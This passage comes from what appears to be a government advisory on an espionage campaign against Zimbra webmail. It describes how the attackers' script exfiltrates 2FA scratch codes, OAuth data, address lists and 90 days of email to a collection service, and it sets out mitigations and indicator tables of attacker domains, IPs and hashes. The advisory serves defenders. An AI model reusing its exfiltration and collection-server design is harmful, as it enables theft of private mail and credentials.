<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
